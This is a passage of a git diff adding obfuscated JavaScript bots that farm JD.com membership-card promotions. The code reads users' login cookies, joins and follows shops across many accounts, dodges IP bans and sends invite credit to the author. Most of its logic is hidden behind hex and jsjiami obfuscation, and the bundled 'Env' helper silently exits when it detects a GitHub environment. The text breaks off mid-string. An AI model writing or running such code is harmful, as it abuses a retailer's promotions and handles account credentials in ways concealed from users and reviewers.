_0x21c3c1=_0x4be46d[_0x67b5('df')](';')[0x0][_0x67b5('e0')]();if(_0x21c3c1[_0x67b5('df')]('=')[0x1]){if(_0x1d39ca[_0x67b5('50d')](_0x21c3c1[_0x67b5('e2')](_0x1d39ca[_0x67b5('50e')]),-0x1))_0x33e2cd=_0x1d39ca[_0x67b5('50f')](_0x21c3c1[_0x67b5('98')](/ /g,''),';');if(_0x1d39ca[_0x67b5('50d')](_0x21c3c1[_0x67b5('e2')](_0x1d39ca[_0x67b5('510')]),-0x1))_0x1aa8a2=_0x1d39ca[_0x67b5('50f')](_0x21c3c1[_0x67b5('98')](/ /g,''),';');}}}else{if(_0x304ba0[_0x67b5('4f7')](typeof _0x341da5,_0x304ba0[_0x67b5('4f8')])){if(_0x304ba0[_0x67b5('511')](_0x304ba0[_0x67b5('512')],_0x304ba0[_0x67b5('512')])){console[_0x67b5('7')](_0x346619);}else{_0x65b481=_0x341da5[_0x67b5('df')](',');}}else _0x65b481=_0x341da5;for(let _0x3df06c of _0x65b481){let _0x590e3d=_0x3df06c[_0x67b5('df')](';')[0x0][_0x67b5('e0')]();if(_0x590e3d[_0x67b5('df')]('=')[0x1]){if(_0x304ba0[_0x67b5('513')](_0x590e3d[_0x67b5('e2')](_0x304ba0[_0x67b5('4fa')]),-0x1))_0x33e2cd=_0x304ba0[_0x67b5('4fb')](_0x590e3d[_0x67b5('98')](/ /g,''),';');if(_0x304ba0[_0x67b5('513')](_0x590e3d[_0x67b5('e2')](_0x304ba0[_0x67b5('4fc')]),-0x1))_0x1aa8a2=_0x304ba0[_0x67b5('4fb')](_0x590e3d[_0x67b5('98')](/ /g,''),';');}}}}if(_0x304ba0[_0x67b5('514')](_0x33e2cd,_0x1aa8a2))activityCookie=_0x33e2cd+'\x20'+_0x1aa8a2;}}else{if(_0x301d2e[_0x67b5('152')]&&_0x304ba0[_0x67b5('4fe')](_0x301d2e[_0x67b5('152')],0x1ed)){console[_0x67b5('7')](_0x304ba0[_0x67b5('504')]);$[_0x67b5('15')]=!![];}console[_0x67b5('7')](''+$[_0x67b5('153')](_0x43a601));console[_0x67b5('7')]($[_0x67b5('22')]+_0x67b5('505'));}}catch(_0x3cf317){if(_0x304ba0[_0x67b5('511')](_0x304ba0[_0x67b5('515')],_0x304ba0[_0x67b5('516')])){$[_0x67b5('4a')](_0x3cf317,_0x301d2e);}else{if(_0x1d39ca[_0x67b5('517')](res[_0x67b5('d4')],!![])&&res[_0x67b5('36')]){$[_0x67b5('285')]=res[_0x67b5('36')];}else if(_0x1d39ca[_0x67b5('518')](typeof res,_0x1d39ca[_0x67b5('50c')])&&res[_0x67b5('7e')]){console[_0x67b5('7')](title+'\x20'+(res[_0x67b5('7e')]||''));}else{console[_0x67b5('7')](_0x346619);}}}finally{if(_0x304ba0[_0x67b5('519')](_0x304ba0[_0x67b5('51a')],_0x304ba0[_0x67b5('51a')])){console[_0x67b5('7')](_0x67b5('3b9')+(res[_0x67b5('7e')]||''));}else{_0x304ba0[_0x67b5('51b')](_0x3db62b);}}}else{console[_0x67b5('7')](_0x67b5('2c9')+(_0x346619[_0x67b5('d4')][_0x67b5('2ca')][_0x67b5('2cb')]||''));$[_0x67b5('210')]=_0x346619[_0x67b5('d4')][_0x67b5('2cc')]&&_0x346619[_0x67b5('d4')][_0x67b5('2cc')][0x0]&&_0x346619[_0x67b5('d4')][_0x67b5('2cc')][0x0][_0x67b5('2cd')]&&_0x346619[_0x67b5('d4')][_0x67b5('2cc')][0x0][_0x67b5('2cd')][_0x67b5('2c')]||'';}});}});}function taskPostUrl(_0x4843c3,_0x44e9c6){var _0x3fc558={'kyOlO':_0x67b5('51c'),'jDtGQ':_0x67b5('51d'),'eWOIW':_0x67b5('51e'),'atiNJ':_0x67b5('51f'),'uBMmk':_0x67b5('179'),'iWZwa':function(_0x2762af,_0xf1eaca){return _0x2762af+_0xf1eaca;},'DjoLN':function(_0x58f0d3,_0x2799c1){return _0x58f0d3+_0x2799c1;},'qjjpC':_0x67b5('520'),'hvDhq':_0x67b5('521'),'FGIey':_0x67b5('522')};return{'url':_0x67b5('521')+_0x4843c3,'body':_0x44e9c6,'headers':{'Accept':_0x3fc558[_0x67b5('523')],'Accept-Language':_0x3fc558[_0x67b5('524')],'Accept-Encoding':_0x3fc558[_0x67b5('525')],'Connection':_0x3fc558[_0x67b5('526')],'Content-Type':_0x3fc558[_0x67b5('527')],'Cookie':''+activityCookie+($[_0x67b5('77')]&&_0x3fc558[_0x67b5('528')](_0x3fc558[_0x67b5('529')](_0x3fc558[_0x67b5('52a')],$[_0x67b5('77')]),';')||'')+lz_jdpin_token,'Origin':_0x3fc558[_0x67b5('52b')],'X-Requested-With':_0x3fc558[_0x67b5('52c')],'Referer':_0x67b5('3ca')+$[_0x67b5('2c')]+_0x67b5('2f')+$[_0x67b5('2a')],'User-Agent':$['UA']}};}function getUA(){var _0x4b8d30={'yCEYj':function(_0xc517ed,_0xf34d3){return _0xc517ed(_0xf34d3);}};$['UA']=_0x67b5('10c')+_0x4b8d30[_0x67b5('52d')](randomString,0x28)+_0x67b5('10d');}function randomString(_0x58bbe8){var _0x4f993a={'dkFCq':function(_0x80dc1f,_0x1e37da){return _0x80dc1f||_0x1e37da;},'UxatU':_0x67b5('185'),'WEpTJ':function(_0x32f9eb,_0x52bb99){return _0x32f9eb<_0x52bb99;},'XAVRS':function(_0x1a3642,_0x348be4){return _0x1a3642*_0x348be4;}};_0x58bbe8=_0x4f993a[_0x67b5('52e')](_0x58bbe8,0x20);let _0x9d4d2b=_0x4f993a[_0x67b5('52f')],_0x169a23=_0x9d4d2b[_0x67b5('31')],_0x353307='';for(i=0x0;_0x4f993a[_0x67b5('530')](i,_0x58bbe8);i++)_0x353307+=_0x9d4d2b[_0x67b5('1b9')](Math[_0x67b5('1ba')](_0x4f993a[_0x67b5('531')](Math[_0x67b5('a1')](),_0x169a23)));return _0x353307;}function jsonParse(_0x32c2f0){var _0x45a9c5={'rsXAE':_0x67b5('113'),'VZiWw':function(_0x2a5bb8,_0x21a432){return _0x2a5bb8==_0x21a432;},'IRkYK':_0x67b5('3bb'),'xqHUB':function(_0x359098,_0x2da85e){return _0x359098!==_0x2da85e;},'OVzww':_0x67b5('532'),'CpZyJ':_0x67b5('4e')};if(_0x45a9c5[_0x67b5('533')](typeof _0x32c2f0,_0x45a9c5[_0x67b5('534')])){try{return JSON[_0x67b5('c5')](_0x32c2f0);}catch(_0x279b11){if(_0x45a9c5[_0x67b5('535')](_0x45a9c5[_0x67b5('536')],_0x45a9c5[_0x67b5('536')])){console[_0x67b5('7')](_0x45a9c5[_0x67b5('537')]);$[_0x67b5('15')]=!![];}else{console[_0x67b5('7')](_0x279b11);$[_0x67b5('21')]($[_0x67b5('22')],'',_0x45a9c5[_0x67b5('538')]);return[];}}}};_0xodQ='jsjiami.com.v6'; + + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_opencard38.js b/backUp/gua_opencard38.js new file mode 100644 index 0000000..32c83ab --- /dev/null +++ b/backUp/gua_opencard38.js @@ -0,0 +1,74 @@ +/* + * @Descripttion: + * @version: + * @Author: sueRimn + * @Date: 2021-09-24 16:22:49 + * @LastEditors: sueRimn + * @LastEditTime: 2021-09-26 15:05:56 + */ +/* +9.23~9.28 婴乐家宠粉日 [gua_opencard38.js] +新增开卡脚本 (脚本已加密 +一次性脚本 + +邀请一人20豆(有可能没有豆 +开6张卡 每张可能获得40京豆(有可能有抽到空气💨 +关注20京豆 (有可能是空气💨 +加购30京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku38]为"true" + +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会退出脚本 + +默认脚本不执行 +如需执行脚本请设置环境变量 +guaopencard38="true" +每个账号之间延迟 100=延迟100秒 0=延迟0秒会使用每3个账号延迟60秒 +guaopenwait_All 所有 +guaopenwait38="0" + + +All变量适用 +———————————————— +入口:[ 9.23~9.28 婴乐家宠粉日 (https://3.cn/102XBy-b2)] + +请求太频繁会被黑ip +过10分钟再执行 + +============Quantumultx=============== +[task_local] +#9.23~9.28 婴乐家宠粉日 +47 4 23-28 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard38.js, tag=9.23~9.28 婴乐家宠粉日, enabled=true + +================Loon============== +[Script] +cron "47 4 23-28 9 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard38.js,tag=9.23~9.28 婴乐家宠粉日 + +===============Surge================= +9.23~9.28 婴乐家宠粉日 = type=cron,cronexp="47 4 23-28 9 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard38.js + +============小火箭========= +9.23~9.28 婴乐家宠粉日 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard38.js, cronexpr="47 4 23-28 9 *", timeout=3600, enable=true + + + +*/ +let guaopencard_addSku = "false" +let guaopencard = "false" +let guaopenwait = "0" + +const $ = new Env('9.23~9.28 婴乐家宠粉日'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie + +var _0xodN='jsjiami.com.v6',_0x4384=[_0xodN,'\x69\x73\x4e\x6f\x64\x65','\x6b\x65\x79\x73','\x66\x6f\x72\x45\x61\x63\x68','\x70\x75\x73\x68','\x65\x6e\x76','\x4a\x44\x5f\x44\x45\x42\x55\x47','\x66\x61\x6c\x73\x65','\x6c\x6f\x67','\x67\x65\x74\x64\x61\x74\x61','\x43\x6f\x6f\x6b\x69\x65\x4a\x44','\x43\x6f\x6f\x6b\x69\x65\x4a\x44\x32','\x43\x6f\x6f\x6b\x69\x65\x73\x4a\x44','\x6d\x61\x70','\x63\x6f\x6f\x6b\x69\x65','\x66\x69\x6c\x74\x65\x72','\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x5f\x61\x64\x64\x53\x6b\x75\x33\x38','\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x5f\x61\x64\x64\x53\x6b\x75\x5f\x41\x6c\x6c','\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x33\x38','\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x5f\x41\x6c\x6c','\x67\x75\x61\x6f\x70\x65\x6e\x77\x61\x69\x74\x33\x38','\x67\x75\x61\x6f\x70\x65\x6e\x77\x61\x69\x74\x5f\x41\x6c\x6c','\x68\x6f\x74\x46\x6c\x61\x67','\x6f\x75\x74\x46\x6c\x61\x67','\x61\x63\x74\x69\x76\x69\x74\x79\x45\x6e\x64','\x74\x72\x75\x65','\u5982\u9700\u6267\u884c\u811a\u672c\u8bf7\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf\x5b\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x33\x38\x5d\u4e3a\x22\x74\x72\x75\x65\x22','\x6d\x73\x67','\x6e\x61\x6d\x65','\u3010\u63d0\u793a\u3011\u8bf7\u5148\u83b7\u53d6\x63\x6f\x6f\x6b\x69\x65\x0a\u76f4\u63a5\u4f7f\u7528\x4e\x6f\x62\x79\x44\x61\u7684\u4eac\u4e1c\u7b7e\u5230\u83b7\u53d6','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x65\x61\x6e\x2e\x6d\x2e\x6a\x64\x2e\x63\x6f\x6d\x2f','\x61\x70\x70\x6b\x65\x79','\x35\x31\x42\x35\x39\x42\x42\x38\x30\x35\x39\x30\x33\x44\x41\x34\x43\x45\x35\x31\x33\x44\x32\x39\x45\x43\x34\x34\x38\x33\x37\x35','\x75\x73\x65\x72\x49\x64','\x31\x30\x32\x39\x39\x31\x37\x31','\x61\x63\x74\x49\x64','\x75\x6e\x69\x74\x65\x4f\x70\x65\x6e\x43\x61\x72\x64\x5f\x37\x38\x38','\x4d\x69\x78\x4e\x69\x63\x6b\x73','\x39\x44\x35\x45\x34\x46\x44\x30\x34\x36\x41\x41\x34\x36\x43\x45\x39\x33\x33\x36\x39\x31\x45\x30\x42\x31\x33\x32\x45\x45\x46\x44\x41\x30\x41\x32\x43\x33\x45\x46\x33\x36\x45\x35\x33\x43\x38\x30\x42\x38\x38\x39\x37\x31\x44\x33\x46\x32\x42\x31\x32\x30\x43\x42\x38\x46\x44\x45\x38\x43\x31\x33\x30\x30\x41\x46\x30\x32\x42\x41\x46\x43\x34\x46\x35\x36\x37\x42\x33\x37\x34\x33\x31\x41\x39\x33\x34\x44\x44\x35\x42\x32\x43\x30\x45\x44\x41\x46\x44\x44\x46\x30\x41\x36\x37\x35\x32\x33\x44\x36\x45\x30\x41\x37\x31\x46\x36\x37\x32\x43\x41\x39\x32\x36\x36\x46\x41\x35\x41\x46\x38\x39\x36\x38\x46\x42\x37\x38\x39\x32\x34\x33\x39\x37\x33\x31\x33\x32\x33\x31\x35\x46\x38\x46\x44\x30\x45\x43\x39\x39\x35\x32\x41\x31\x32\x35\x34\x30\x45\x39\x39\x43\x37\x44\x31\x42\x34\x36\x36\x39\x35\x43','\x69\x6e\x76\x69\x74\x65\x4e\x69\x63\x6b','\x34\x41\x35\x35\x43\x31\x43\x30\x38\x36\x39\x43\x37\x35\x30\x36\x31\x44\x31\x31\x43\x44\x44\x43\x39\x46\x31\x39\x36\x33\x31\x41\x33\x33\x31\x41\x30\x33\x46\x37\x36\x33\x42\x44\x34\x33\x35\x32\x45\x37\x46\x43\x39\x39\x37\x38\x37\x42\x33\x30\x46\x42\x44\x33\x34\x39\x33\x33\x36\x44\x45\x35\x34\x45\x32\x36\x41\x41\x38\x46\x32\x38\x33\x34\x42\x32\x34\x38\x45\x36\x33\x39\x38\x43\x42\x37\x41\x37\x35\x35\x44\x46\x34\x46\x44\x41\x45\x35\x38\x35\x45\x43\x33\x45\x31\x41\x42\x45\x32\x36\x46\x33\x44\x44\x33\x43\x46\x46\x43\x39\x35\x36\x44\x31\x32\x39\x37\x34\x46\x46\x30\x30\x41\x30\x34\x35\x44\x38\x45\x33\x31\x41\x38\x34\x46\x45\x38\x34\x43\x31\x38\x41\x38\x33\x35\x37\x44\x45\x39\x36\x41\x31\x46\x36\x31\x37\x42\x38\x41\x43\x34\x44\x36\x34\x42\x43\x32\x34\x42\x36\x38\x39','\x6c\x65\x6e\x67\x74\x68','\x55\x73\x65\x72\x4e\x61\x6d\x65','\x6d\x61\x74\x63\x68','\x69\x6e\x64\x65\x78','\x62\x65\x61\x6e','\x6e\x69\x63\x6b\x4e\x61\x6d\x65','\x0a\x0a\x2a\x2a\x2a\x2a\x2a\x2a\u5f00\u59cb\u3010\u4eac\u4e1c\u8d26\u53f7','\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a','\x4d\x69\x78\x4e\x69\x63\x6b','\u6b64\x69\x70\u5df2\u88ab\u9650\u5236\uff0c\u8bf7\u8fc7\x31\x30\u5206\u949f\u540e\u518d\u6267\u884c\u811a\u672c','\x73\x65\x6e\x64\x4e\x6f\x74\x69\x66\x79','\x63\x61\x74\x63\x68','\x6c\x6f\x67\x45\x72\x72','\x66\x69\x6e\x61\x6c\x6c\x79','\x64\x6f\x6e\x65','\x68\x61\x73\x45\x6e\x64','\x65\x6e\x64\x54\x69\x6d\x65','\x54\x6f\x6b\x65\x6e','\x50\x69\x6e','\x68\x6f\x77\x4d\x61\x6e\x79\x4f\x70\x65\x6e\x43\x61\x72\x64','\u6b64\x69\x70\u5df2\u88ab\u9650\u5236\uff0c\u8bf7\u8fc7\x31\x30\u5206\u949f\u540e\u518d\u6267\u884c\u811a\u672c\x0a','\x69\x73\x76\x4f\x62\x66\x75\x73\x63\x61\x74\x6f\x72','\u83b7\u53d6\x5b\x74\x6f\x6b\x65\x6e\x5d\u5931\u8d25\uff01','\x73\x65\x74\x4d\x69\x78\x4e\x69\x63\x6b','\u83b7\u53d6\x63\x6f\x6f\x6b\x69\x65\u5931\u8d25','\x74\x6f\x42\x69\x6e\x64','\x6c\x6f\x61\x64\x55\x6e\x69\x74\x65\x4f\x70\x65\x6e\x43\x61\x72\x64','\u6d3b\u52a8\u4fe1\u606f\u83b7\u53d6\u5931\u8d25','\x6e\x6f\x77','\u6d3b\u52a8\u7ed3\u675f','\u5f00\u5361\x28','\x69\x73\x4f\x70\x65\x6e\x43\x61\x72\x64','\x4f\x70\x65\x6e\x43\x61\x72\x64\x4c\x69\x73\x74','\x73\x68\x6f\x70\x4c\x69\x73\x74','\x77\x61\x69\x74','\x72\x61\x6e\x64\x6f\x6d','\x6f\x70\x65\x6e\x53\x68\x6f\x70\x49\x64','\x75\x6e\x69\x74\x65\x4f\x70\x65\x6e\x43\x61\x72','\x75\x6e\x69\x74\x65\x4f\x70\x65\x6e\x43\x61\x72\x64\x4f\x6e\x65','\x73\x68\x6f\x70\x54\x69\x74\x6c\x65','\x6a\x6f\x69\x6e\x56\x65\x6e\x64\x65\x72\x49\x64','\x73\x68\x6f\x70\x49\x64','\x66\x6f\x6c\x6c\x6f\x77\x53\x68\x6f\x70','\u5982\u9700\u52a0\u8d2d\u8bf7\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf\x5b\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x5f\x61\x64\x64\x53\x6b\x75\x33\x38\x5d\u4e3a\x22\x74\x72\x75\x65\x22','\x61\x64\x64\x43\x61\x72\x74','\x6d\x79\x41\x77\x61\x72\x64','\x6d\x69\x73\x73\x69\x6f\x6e\x49\x6e\x76\x69\x74\x65\x4c\x69\x73\x74','\u5f53\u524d\u52a9\u529b\x3a','\u540e\u9762\u7684\u53f7\u90fd\u4f1a\u52a9\u529b\x3a','\u4f11\u606f\x31\u5206\u949f\uff0c\u522b\u88ab\u9ed1\x69\x70\u4e86\x0a\u53ef\u6301\u7eed\u53d1\u5c55','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6a\x69\x6e\x67\x67\x65\x6e\x67\x6a\x63\x71\x2d\x69\x73\x76\x2e\x69\x73\x76\x6a\x63\x6c\x6f\x75\x64\x2e\x63\x6f\x6d','\x50\x4f\x53\x54','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x70\x69\x2e\x6d\x2e\x6a\x64\x2e\x63\x6f\x6d\x2f\x63\x6c\x69\x65\x6e\x74\x2e\x61\x63\x74\x69\x6f\x6e\x3f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64\x3d\x69\x73\x76\x4f\x62\x66\x75\x73\x63\x61\x74\x6f\x72','\x62\x6f\x64\x79\x3d\x25\x37\x42\x25\x32\x32\x75\x72\x6c\x25\x32\x32\x25\x33\x41\x25\x32\x32\x68\x74\x74\x70\x73\x25\x33\x41\x2f\x2f\x70\x72\x6f\x64\x65\x76\x2e\x6d\x2e\x6a\x64\x2e\x63\x6f\x6d\x2f\x6d\x61\x6c\x6c\x2f\x61\x63\x74\x69\x76\x65\x2f\x34\x34\x64\x44\x51\x71\x7a\x6a\x59\x4c\x57\x70\x72\x70\x35\x48\x37\x66\x6f\x6d\x42\x59\x72\x56\x4e\x71\x44\x47\x2f\x69\x6e\x64\x65\x78\x2e\x68\x74\x6d\x6c\x25\x33\x46\x74\x74\x74\x70\x61\x72\x61\x6d\x73\x25\x33\x44\x65\x66\x4a\x65\x4d\x6d\x44\x65\x79\x4a\x6e\x54\x47\x35\x6e\x49\x6a\x6f\x69\x4d\x54\x45\x34\x4c\x6a\x45\x7a\x4d\x44\x49\x33\x4d\x69\x49\x73\x49\x6d\x64\x4d\x59\x58\x51\x69\x4f\x69\x49\x79\x4e\x43\x34\x30\x4f\x44\x55\x32\x4e\x54\x4d\x69\x66\x51\x37\x25\x32\x35\x33\x44\x25\x32\x35\x33\x44\x25\x32\x36\x73\x69\x64\x25\x33\x44\x62\x32\x61\x62\x35\x31\x66\x32\x39\x38\x62\x63\x32\x61\x39\x37\x63\x33\x35\x66\x66\x63\x64\x35\x65\x32\x66\x36\x36\x37\x37\x77\x25\x32\x36\x75\x6e\x5f\x61\x72\x65\x61\x25\x33\x44\x31\x36\x5f\x31\x33\x31\x35\x5f\x31\x33\x31\x36\x5f\x35\x33\x35\x32\x32\x25\x32\x32\x25\x32\x43\x25\x32\x32\x69\x64\x25\x32\x32\x25\x33\x41\x25\x32\x32\x25\x32\x32\x25\x37\x44\x26\x75\x75\x69\x64\x3d\x31\x63\x31\x30\x31\x65\x30\x34\x30\x36\x38\x61\x65\x62\x66\x32\x39\x30\x35\x62\x33\x63\x38\x31\x38\x35\x34\x63\x39\x64\x32\x35\x31\x37\x36\x33\x39\x30\x66\x65\x26\x63\x6c\x69\x65\x6e\x74\x3d\x61\x70\x70\x6c\x65\x26\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x3d\x31\x30\x2e\x31\x2e\x34\x26\x73\x74\x3d\x31\x36\x33\x32\x33\x39\x39\x33\x37\x39\x38\x32\x35\x26\x73\x76\x3d\x31\x31\x31\x26\x73\x69\x67\x6e\x3d\x36\x65\x30\x31\x38\x37\x32\x39\x34\x38\x37\x38\x36\x30\x33\x34\x34\x36\x61\x34\x34\x36\x65\x64\x31\x61\x34\x61\x63\x63\x31\x32','\x2f\x64\x6d\x2f\x66\x72\x6f\x6e\x74\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x73\x65\x74\x4d